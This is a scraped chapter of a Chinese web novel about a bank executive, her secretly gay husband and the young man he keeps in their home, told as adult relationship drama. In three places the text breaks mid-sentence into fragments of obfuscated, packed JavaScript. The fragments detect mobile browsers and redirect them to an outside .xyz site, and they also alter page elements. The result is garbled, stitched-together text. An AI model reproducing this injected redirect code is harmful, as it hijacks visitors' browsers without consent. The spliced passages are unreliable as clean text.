周姨端上了新的水果和茶水,拿起廉钰脱下的西装外套走到屋里打算熨一熨。 孟世兰牵着她的手亲昵道:“过来怎么也不知道提前说一声,是工作上遇到了什么困难吗?” “没什么困难。”廉钰抿嘴轻声道:“我就是想你了。” “哎呦喂,还是小棉袄贴心,我家那个逆子在国外,半个月都不主动来通电话。” “小兰就是有福气,看看人家小钰,漂亮又懂事,真叫人羡慕!” 廉钰面带微笑听着这些夸赞话,顺手拿起个橘子剥着吃,继而胳膊被短发姨娘轻轻一推,诧异回头,迎上女人意味深长地眼神,她身形一僵。 “小钰,你们结婚也有半年多了吧。”在其余人殷切地目光中,她直截了当地问道:“打算什么时候要小孩?” 这个问题显然是孟世兰默许的,因为此刻她同样笑吟吟地等着廉钰的答复。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509400|170546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 廉钰后背一凉,从容不迫地往嘴里塞了瓣橘子,故作轻松道:“我们现在还不打算要。” “为什么?” “程宴工作很忙,饮食作息也需要慢慢调理。”廉钰顿了顿道:“再过两年赵姐要退了,我总得准备准备……” 另位姨立时笑道:“有我们在,还用你准备什么呀,直接上任就行了呗!小钰你太谨慎了。” “就是,需要多少存款,任务,跟我们说一声就行了。” “老是麻烦你们怎么能行,要是我不能靠自己当上行长,那这个职位对我来说也没什么意义。”廉钰忽然想到一个人,眉头微蹙又舒展开:“何况这个位置,也不一定百分百是我的。” 孟世兰稍加思索,挑眉道:“你是说,雷永成?” “雷永成是谁?” “小钰他们那的副行长……人家可是脚踏实地,完全凭实力一步一步走上来的。”孟世兰叹道。 “嘁,这世道还讲什么脚踏实地,人脉,资源,财富,家境,哪个不算实力?”短发姨眯起眼,看着廉钰笑的宠溺:“咱们小钰才是当之无愧的实力派,行长的不二之选。” 廉钰不清楚自己到底算不算实力派,只知道那个危险的话题已经被盖过去了,顿时松了口气。 几杯茶后,客人们依次道别,廉钰同母亲将她们送到楼下,私家车早已等候多时。 等只剩母女两个,孟世兰笑吟吟地眼神瞬间犀利:“小钰,你是有什么事瞒着我吗?现在可以说了。” 廉钰一颗心瞬间跳的飞快,她向来没有对母亲撒谎的勇气,可那种事,让她怎么说呢。 “也……也没什么事。” 孟世兰眼睛一瞪:“说!” 廉钰直接泄了气,迟疑良久才低声开口:“……就是,程宴可能身体不太好,我们暂时没法要小孩,不过他已经在调理了……” 越说,声音越小。 孟世兰盯着她看了会儿,似是懂了什么,神情总算缓和下来:“这样啊……唉,程宴看着身体挺好的,怎么会……小钰你也别太担心,男人嘛,应酬工作忙多了,那种事难免力不从心,慢慢来就好。” “嗯……” 廉钰拒绝了留下吃晚饭的提议,她深知在家里待的越久越危险,孟世兰跟廉柏半辈子都在跟聪明人打交道,想从她嘴里套出什么话可太容易了。 地下车库灯光幽暗,廉钰靠在椅背上听着电台播放的音乐,心情蓦地烦躁。 她竟为了程宴跟孟世兰撒谎。 不然呢。 是她觉得那种事无所谓啊。 恰好这时,程宴打了电话来。 “小钰,你几点下班?我跟小通准备往回走了,你晚上想吃什么,我们顺路买回去……” 听着电话那头亲昵地询问,廉钰冷冷道:“晚上我不回去吃了。” 说完直接挂了电话。 程宴听着手机里的挂断音怔了几秒。 邱小通忐忑问道:“……嫂子好像心情不好?” “是啊……”程宴扶着方向盘陷入沉思,几秒后眼睛一亮,恍然道:“噢,她快来月事了!” 邱小通愣了愣,小声说:“那我们就去买点枸杞红枣,晚上给嫂子炖个鸡汤喝吧。” 程宴玩味地看了他一眼:“你小子,对嫂子还挺上心的。” 邱小通仿佛没听见,已经开始用手机搜月事期间的相关食谱了。 在他看来对嫂子好是应该的,不止因为她是嫂子。 更因为她是个很好的人。 7. 夜阑 工作压力大或者情绪需要宣泄时,廉钰会找朋友喝点小酒。 如果那个朋友恰好是当地某家清吧的老板,那再好不过。 傍晚六点,夜阑谣已经陆续开始进人了,客人大多数是本地大学生,打扮时髦的年轻男女足有二十多个人,占了三张桌子,玩着舞拳或者抓手指的游戏,重金属的朋克风饰品互相碰撞,发出悦耳脆响。 廉钰在暗处注视了他们很久,蓦然叹息。 她努力回想着自己在他们这个年纪的模样,得到的答案却枯燥又索然无味,那段时间她被家里送到国外镀金边,终日浑浑噩噩,书没读进去,玩也没玩好,既没交到朋友,也没学到知识,每天就知道搜当地美食,唯独在吃方面一点没亏待自己。 转眼间,青春年华如烟消散,她获得了稳定的工作,可观的薪水,认识了出类拔萃的未婚夫,在一个夏日黄昏,她的右手无名指多了一枚钻戒,从此多了个已婚的身份。 再过两年,兴许还会成为一个母亲。 一个成功女人的一生大概就这样了,就跟孟世兰一样,她是孟世兰的女儿,注定要走跟她一模一样的路。 就着昏暗灯光,廉钰仰头将杯中特调酒一饮而尽,敬自己顺风顺水,毫无波澜的前半生。 忽然,眼角潮湿被人轻轻抹去。 对方带着笑意道:“廉钰,你哭了?” “没有,这酒劲大。” 萧晗招呼调酒师给她倒了杯苏打水,自己抿了口威士忌,转头问道:“是因为工作,还是婚姻?” 廉钰不吭声,眯着眼睛继续喝酒。 “工作上的事我是帮不了你。”萧晗忽然靠近,像高中时那样一把勾住她的脖子,笑嘻嘻道:“但男女之间的事,我可不要太懂。” 毕竟当年澜城七中女海王的名声不是白来的。 萧晗不是个好人,却是她最好的朋友,她也不知道自己为什么会跟萧晗成为朋友,可萧晗的确像她隐藏在黑暗之中的另一人格。 廉钰总算缓缓放下杯子,回头凝视着她问道:“你说,夫妻之间什么最重要?” “忠诚,信任。”萧晗稍作停顿,补充道:“性。” 廉钰又不吭声了。 萧晗盯着她看了几秒,脸色蓦地阴沉:“程宴出轨了?” 廉钰如皮球般泄了气:“我不知道。” “那你问这干什么?” “有些事,想不明白。”廉钰缓缓道:“我们之间,挺奇怪的。” 萧晗:“他有没有冷暴力你?人前人后表现的不一样?或者,欺骗你?” 廉钰摇头道:“没有,他对我一直很好。” 萧晗又低声问道:“那你俩床上还和谐吗?他有没有对你表现出排斥,抵触的情绪?” 廉钰沉默了足足一分钟,总算跟萧晗交了底:“我们从来没做过。” “啊?”萧晗眉头瞬间拧成麻花,整个人的面部表情都因为惊讶过度而变得扭曲,“不是,你们从认识到结婚,到现在,都快两年了吧?没做过?搞什么啊?你俩拜把子兄弟吗?” 等萧晗情绪稳定下来,廉钰便借着酒劲将事情原委跟她详细说了。 现在轮到萧晗沉默了。 思忖良久后,她点了根烟,吸到一半,皱眉道:“你怀疑过他在外边有人没有?” “没有。”廉钰摇头,回答的很坚决。 “你凭什么这么确定?有的男人就是贱得慌,就算家里老婆赛天仙他也没兴趣,就爱出去找屎吃。”萧晗不屑道。 廉钰嘴角微扬,露出一抹苦笑。 就凭她年轻漂亮,家境优渥,事业有成,就凭二人从认识到现在程宴对她说一不二的服从,偏爱和忠心,就凭他们两个是天造地设的般配,是整个澜城再也找不出的模范家庭,恩爱夫妻。 程宴不是没见过世面的穷小子,轻易就能被漂亮女人勾去了魂,他的家世和教养让他除了她,别无选择。 “总之,就是没有。” “行吧……那就是单纯的身体有问题了。”萧晗将烟蒂按在烟灰缸里,忽然精神抖擞,拍着她的肩膀故作优越道:“我现在一点也不羡慕你了,忘了告诉你,我新交的男朋友比咱们小十岁,今年刚满十八,嘿嘿……” 廉钰:“哦,恭喜你啊。” 萧晗:“你想不想试试?” 廉钰一僵,冷冷盯着她。 萧晗被她的眼神吓到,依旧悻悻道:“那咋了……有问题的是程宴,你凭什么要为他的错买单……” 特调酒酒精含量极高,一杯下肚还不觉得怎么样,现在酒劲终于上头,廉钰能明显感到自己的神智越来越模糊,当即起身拿起车钥匙就要往外走,话也说不利索了:“我要回家了……我妈不让我跟你玩,再见……” “唉?唉!”萧晗怔了怔,赶忙追上她:“你这样怎么开车啊?我给你叫个代驾,等着啊!” 送她回家的代驾是位贴心女大姐,见她神智有些不清,在停好车后还贴心地将她送到了楼下,才放心离去。 等电梯的功夫廉钰看了眼一直静音着的手机,上边有来自程宴的好几个未接电话和短信。 直到她踏进家门,沙发上的程宴这才放下举在耳边的手机,起身快步朝她走去。 “小钰?你今晚有应酬吗?怎么不说一声,你喝酒了?怎么回来的,给你打电话也不接。” 廉钰像往常一样踮脚甩飞高跟鞋,声音疲惫:“没应酬,找朋友喝了点。” 程宴问道:“哪个朋友?” “萧晗。” 程宴眼中闪过一丝不满。 他从廉钰口中对萧晗有所了解,跟廉钰的父母一样,他极力反对她们来往。 可她连父母的话都不听,他更得靠边站。 “哦,只有你们两个?” “嗯。” “你怎么回来的?” “叫了代驾。” “怎么不给我打电话?”程宴问她:“或者叫小通去接你也好啊。” 廉钰单手解着衬衫扣子,神情开始不耐烦:“你们不是出去玩了吗,我哪知道你们回没回来,要玩就玩的尽兴,不用惦记着我,我又不是小孩。” 程宴盯着她踉跄的背影沉默不语。 她的声音太大,引得邱小通也从厨房探出了头,先是看了看程宴,又试探性地喊了声:“嫂子?” 廉钰好像没听见,砰一声关上了卧室门。 邱小通茫然地看向程宴:“嫂子好像心情不太好?” “正常的,女人都这样,哄哄就好了。”程宴扯了扯嘴角,露出一抹无奈地笑:“你也早点休息吧,别忙活了。” 邱小通回头看了眼灶上炖着的砂锅,不知所措地怔在原地。 廉钰喝了酒往往睡眠质量极佳,能一觉到天亮,偏偏这次明明困得睁不开眼,却无论如何都睡不着,几次翻来覆去,躁动不安。 直到被圈入一双有力臂膀中,才迫不得已停止动弹。 “小钰。”程宴在耳边轻声唤她。 廉钰缓缓睁开眼睛,却没有回头看他。 “有心事?” 他听不到廉钰回答,缓缓撑起身,却能看到她眼睫轻颤。 手臂越收越紧,落在脖颈耳畔的吻也越来越密集,廉钰呼吸逐渐急促,感受着对方顺着腰线下移前伸的手,忽地在最后一刻挣脱,蓦地坐起。 “我今天很累,不想。” “好。”程宴眼眸黯淡,冲她轻声笑笑:“睡吧。” 这次廉钰很快就睡着了,可惜只睡了不到三个小时就被渴醒,迫不得已起来找水喝。 程宴早已睡着了,她蹑手蹑脚离开卧室并没有惊动他,客厅无需开灯,落地窗外繁华夺目的城市霓虹就能将屋子照的很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509401|170546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮。 连着灌了两杯水后,听着腹中传来的声响,廉钰意识到自己并不是渴了,而是饿了。 从父母家出来就去了夜阑谣找萧晗喝酒,到现在都没吃上一口饭。 本想着挨到天明,可此刻胃里已经难受极了。 于是廉钰打开冰箱,目光扫视了一遍冷藏区的食材,就连撕掉包装放进微波炉里加热一下就好的食物都令她觉得麻烦。 犹豫片刻,她随手从果蔬区抽出一根新鲜且形状漂亮的黄瓜,这种食物爽口,方便,只需要洗洗就能吃。 如果没有跟程宴结婚,现在大概率也是自己住,没人给她做饭,洗衣服,做家务,冰箱里大概率会囤满黄瓜了。 想到这,廉钰不由得笑出声。 冰箱门关上的瞬间,静静伫立在走廊边的人影令她瞬间汗毛竖立,险些惊叫出声。 好在下一秒,客厅灯被打开了。 邱小通穿着睡衣呆呆站在那,张了张嘴竟不知该说什么。 “小通你……吓死我了……”廉钰扶着冰箱大口喘息。 随即,又陷入窘境。 邱小通刚刚应该是看到她大半夜不睡觉,盯着根黄瓜傻笑了吧。 于是她也顾不上洗了,直接将黄瓜放嘴里咬了一口,故作轻松道:“我就出来找点吃的,没什么事,你回去睡吧……” “我猜你也饿了。”邱小通冲她笑了下,似是完全没注意到她方才的怪异举止,“我给你煲了汤,小火温着呢,我去给你盛一碗吧,嫂子。” 廉钰微微惊讶,忐忑道:“嗯,好。” 连汤带肉吃下一碗,胃里总算舒坦许多,邱小通应该做过功课,往里加了什么益气养元的药材,她现在头也不疼了,只觉得身体内部一阵阵发热,就跟刚做过一场剧烈运动马上要出汗似的。 邱小通就坐在一旁等她吃完,见她放下筷子,眨眨眼问道:“好吃吗?嫂子。” “好吃。”廉钰还想着夸奖他几句,抬头猝不及防对上那双清澈如泉的眼睛,称赞的话愣是卡在了嘴边。 程宴跟她提过邱小通年纪不大,这阵子相处下来,她也只觉得这个小孩乖巧单纯,有种不谙世事的愚蠢。 当下近距离打量,突然就明白了萧晗对她炫耀自己那刚成年的男朋友时,语气中的满足与骄傲从何而来。 暖黄的灯光下,眼前少年那叫一个细皮嫩肉,肤白貌美,茫然地表情,无辜的眼神,被她盯的犹如一个犯错的孩子,不知所措地低下了头,怯怯叫了声:“嫂子……” 廉钰猛地回过神,暗自骂了声该死。 怎么能在邱小通面前连着失态两次。 酒明明已经醒了。 “好吃,好吃……”廉钰喃喃重复了两遍,“就是吃完挺热的,汤里放了什么?” 邱小通回忆了一番,认真答道:“我也是看着教程做的,除了必备食材,还放了些枸杞,山药,鹿茸……” 廉钰额头已经开始冒汗了。 更是不敢再多看邱小通一眼。 “挺好的,鹿茸下次就别放了。” “嗯!”邱小通看了眼墙上挂钟,道:“嫂子你明天还要上班,快回去休息吧,还能再睡几个小时呢。” 吃饱喝足,廉钰也困了,应了声起身便往卧室走。 邱小通自觉收拾起碗筷。 不经意抬头,发觉廉钰并没有走远,而是靠在走廊口静静看着他。 如同初次见面一般,这样的眼神令邱小通心跳加速,极度不安。 “小通,你今年多大了。” “年初刚满十九,虚岁二十了。” 邱小通不明白廉钰为什么突然问他年龄,这个问题太容易回答,他不必撒谎,也不必惊慌,故而他回答的很自然,流畅。 他看到廉钰脸上浮现一丝神秘莫测的笑,继而转身消失在他的视线之中。 8. 柠七 廉钰觉得昨晚的鹿茸还是起到点作用的,虽然刚喝完浑身发热发烫口干舌燥,但昨晚明明只睡了几个小时,今早闹钟一响,她立马就睁开了眼,一点没有困顿疲惫的感觉,而是久违地感到神清气爽。 程宴拿着挑好的衬衫领带进门,刚好撞见她睁着眼睛坐在床上,直接愣住:“怎么起这么早,我还以为你要多睡会呢。” “因为昨晚睡得挺好。”廉钰笑了笑,翻身下床。 邱小通已经准备好了早餐,其中包括昨晚炖的鸡汤。 廉钰昨天半夜吃过一顿,现在饱腹感很强一点也不饿,尤其想到自己昨晚的失态,更是让她在面对邱小通时有几分不自在。 好在邱小通仿佛早已忘记那一幕,仍若无其事地给二人盛粥布菜。 “我不饿,先去单位啊。”廉钰丢下一句起身便走,仓皇的模样映在程宴眼中,令他眉头微蹙。 等廉钰走后,邱小通主动道:“嫂子昨天晚上没吃饭,半夜一点多我看见她翻冰箱找吃的来着,我给她热了鸡汤。” “嗯。”程宴淡淡应了声,面无表情地吃着盘中食物,吃完也起身拿上外套走了。 家里瞬间又只剩他自己了。 邱小通在餐桌旁站了好一会儿。 昨晚是廉钰心情不好,现在是程宴心情不好,而他跟他们共处一室,却对他们心情不好的原因一无所知。 邱小通心情倒是很好,因为刚才程宴又给了他一笔钱,作为这段时间的家务报酬。 跟之前不同,现在这笔钱他拿的合情合理,并且廉钰也知晓,他花的心安理得,不再有任何负罪感。 这是他应得的工资,是他靠劳动换取的,而不是身体。 做完家务,又把二人换下的脏衣服扔进洗衣机,听着机器运转传出的阵阵声响,邱小通总算得以坐在沙发上放松一下。 很快,他又被阳台落地窗外,远方的海景所吸引,情不自禁起身走了过去。 他没有去过其它沿海城市,但他觉得澜城的海绝对是地球上最美的海,初来乍到,他还拘谨小心像个客人,后来廉钰带他玩了一圈,程宴又带他玩了一圈,他仿佛已经跟这里的海成了好朋友,完全融入了这里。 当然,好朋友也是知道他不可告人的秘密的。 邱小通垂下眼眸,转身走到客厅重新坐回沙发上,审视起这个被他打扫的一尘不染的家。 他永远也够不到程宴和廉钰的阶级,靠欺骗换来的短暂停留,又能坚持多久。 愣神之际,兜里手机忽然开始振动,邱小通看了眼来电显示,瞬间神情紧绷,即使知道现在家里只有他一个人,还是小心地走回自己房间,关好了门。 “爸……” “小通啊……你在哪呢?” 听到那边传来的年迈声音,邱小通不禁鼻子一酸,“在上班呢,家里怎么样了?” “家里挺好的,就是你妈老念叨你……唉,我们对不起你,书都没读完就让你出去挣钱……” 邱小通眼眶一红,吸了吸鼻子道:“没事的,我现在过得也挺好的,你们不用担心我。” “嗯……那个,你能不能再给爸转点钱用,你妈的药快吃完了,小顺也该交学费了,还有家里的屋顶也必须请人重弄一下了,一下雨老漏水,唉……” 邱小通立马就答应了:“行,大概需要多少钱?” 那边犹豫着报了个数。 邱小通迟疑了几秒,道:“知道了,一会儿就给你转过去。” 电话那端父亲很高兴,明显松了口气:“幸亏家里还有你,小通你可要努力工作啊,咱家就靠你了。” “嗯。”邱小通顿了顿道:“你把我妈照顾好就行了,还有小顺,让他一定要好好学习,争取考个好大学,现在越好的大学学费越低……” “嗯,嗯……爸还有事,先挂了,你好好上班吧!” 听着耳边的挂断音,邱小通愣了好一会儿才放下手机,继而又想起方才答应过的事,于是给父亲账户转了一笔钱过去。 看着屏幕上可怜的余额,邱小通低头苦笑出声。 幸亏他现在有个好“工作”。 下午三点多程宴又回来了一趟,察觉到他迎合敷衍,当即也没了兴致,一次都没弄完就靠在床头抽起烟来。 邱小通也不敢穿衣服,就默默靠在他肩头闻烟味。 “你这孩子怎么回事,之前不是骚得很,最喜欢玩刺激吗?”程宴忽地嗤笑道:“我还以为让你住进家里已经够刺激了……要不我们去主卧床上做?” 邱小通立即打了个冷颤:“不,不要……” 程宴掐住他的脸问道:“所以你到底在顾虑什么?” “我就是怕嫂子……” “呵呵……嫂子,嫂子,嫂子……”程宴忽然笑出声:“你怎么满脑子都是嫂子,我真不懂你干嘛这么怕廉钰,有我呢,她能把你怎么样呢?” 邱小通觉得程宴会错了意。 他知道廉钰不会把他怎么样,他只是觉得太对不起廉钰。 “你跟她……做过吗?”邱小通壮着胆子问道。 “没有,我对女人没反应的。”程宴皱眉,眼神忽地凌厉:“你什么意思?” 邱小通被他的语气吓得一颤,支支吾吾道:“没什么意思,就是觉得你们都结婚了……嫂子对你没意见吗?” 程宴沉默一阵后,道:“她需要的话,我会用别的方式帮她解决。” 邱小通在夜场混过一段时间,大抵也明白程宴口中别的方式指的是什么,可是—— “也许嫂子想要呢……” 程宴盯着他看了一会儿,森然冷笑:“你到底想说什么呀,小通……你是想让我跟廉钰做?我硬不起来,要不你替我上?” “我不是那个意思……”邱小通憋得脸色通红,低声道:“我就是怕嫂子怀疑你,不是都说女人的第六感很准吗,你不碰她,她怎么可能不疑虑,不多心呢?嫂子那么聪明,如果想查什么,肯定会查出来的……” 邱小通煞有介事的一番话令程宴陷入深思。 他跟廉钰从认识到现在从未发生过关系,他知道廉钰是有过那种念头的,她甚至相信是他身体暂时出了问题,只要慢慢调理就会好起来。 她似乎从未怀疑过他,更没有调查过他,起初他不觉得这种信任有什么问题,如今被邱小通点破,竟令程宴感到一丝焦虑。 或许廉钰根本不爱他。 所以,她压根不在乎。 办公室里,打印机刷刷往外出着文件,很快就叠了厚厚一沓。 印刷停止了好一会儿,廉钰也没伸手去拿。 今天下午行里不忙,赵绮兰也没在,刚刚去大堂转了一圈,客户没几个,柜员们佯装认真工作,实则打开早已导入到表格里的小说看的津津有味。 一个适合摸鱼的下午。 就连廉钰也受氛围影响,无心工作,回办公室后玩起了手机。 除了工作,她几乎没有别的爱好,一打开短视频软件,系统给她推送的也都是什么银行人的自我修养,如何让客户对你死心塌地,与领导来往必备的人情世故,再往下刷,话题又变成了金融俏佳人职场穿搭,妆容,盘发,手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509402|170546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再划,标签变成行酒令飞花令大全,酒局应酬必会小游戏,一百个小细节助你成为社交达人。 都不用系统给她推,这些东西孟世兰从小学就开始教她了。 正打算熄屏打个盹,后台突然收到来自萧晗的一连串私信。 还是用夜阑谣的官方号给她发的。 作为在当地有一定知名度的酒吧,官方账号由老板亲自运营,平常发的内容都是替吧里宣传打广告,还算正常,然而皮下是萧晗在操作,这导致廉钰每次打开私信都要做足心理准备。 果然,刚点开私聊框,一排赤着上身搔首弄姿的肌肉男猝不及防闯入视线。 出于对朋友的尊重,她随便点开一个看了几秒,眉头皱成麻花。 萧晗:怎样?喜不喜欢这种? 廉钰:? 萧晗:我打算把这几个请来当嘉宾,到时候让你摸个够,嘻嘻~ 廉钰:伤风败俗。 萧晗:我说真的,现在就流行这个,你看看国内排的上号的夜店,都请模子了,女人的需求也被重视起来啦!咱可得抓住这波机会! 紧接着又给廉钰转发了好几个不同风格的男模视频让她帮着挑选。 穿西装的,穿衬衫的,穿T恤的,穿DK的,戴眼罩的,戴项圈的,戴尾巴的,无一例外都是身材匀称有腹肌,表情销魂望着镜头,欲罢不能的模样。 廉钰觉得自己大概是真老了。 回想高中时,她跟萧晗在晚自习上一人一只耳机一同观摩女性向小电影,十几分钟下来看的汗流浃背,呼吸急促,连着几天脑子里全是帅哥美女叠在一起蠕动的不良画面。 可能那个时候疯的太过火,已经看到祛魅了,导致对现在穿着衣服的男人一点兴趣也没有。 正想敷衍她一句好回归工作,廉钰忽然被其中某条视频吸引了视线。 画面很乱,很暗,舞台正中央,穿着薄纱衬衫的年轻男舞者腰肢纤细,皮肤白嫩,正随着一首慢摇忘情舞动,身姿曼妙诱人,之所以吸引到廉钰,是因为黑色蕾丝的面罩完全裹住了他的头,导致没人能看见他的长相。 正是这种神秘感吸引的台下无数粉丝为其疯狂尖叫。 短短十几秒的视频,廉钰破例反复观看了好几遍。 廉钰:[引用]这个是谁? 萧晗:好家伙,能联系上的你不选,唯一一个失联的倒被你看上了。 萧晗:他之前是静桐市夜色CLUB的头牌,柠七,一直走的这个覆面系的风格,人气巨高,去年突然就走了,大家本来以为他是被别的俱乐部挖走了呢,结果人直接失踪了,你说奇怪不? 廉钰忽然觉得可惜。 她对这个柠七还蛮感兴趣的。 关了对话框,她好奇地搜索夜色CLUB柠七,果然刷出来无数条相关视频,可惜发布时间距今最近的也是一年前了。 柠七的确从未露过面,不过无论他穿什么衣服,做什么动作,大家总能一眼认出是他,因为他右侧小腹上方一颗显眼的红痣太有辨识度。 就连她,也在不知不觉中盯着看了许久。 办公室门忽然被敲响,廉钰不动声色熄了屏,说了声:“请进。” 蒋晓露小心翼翼地推开门,站在门口说:“廉姐,副行长回来了。” 雷永成连学习带谈业务,已经在外省待了快两个月之久,算算日子确实该回来了。 不知道他这西天取经一趟,带回来了什么好东西。 廉钰微微一笑:“好事啊。” 随即整理了一番衣领,优雅起身:“看看去。”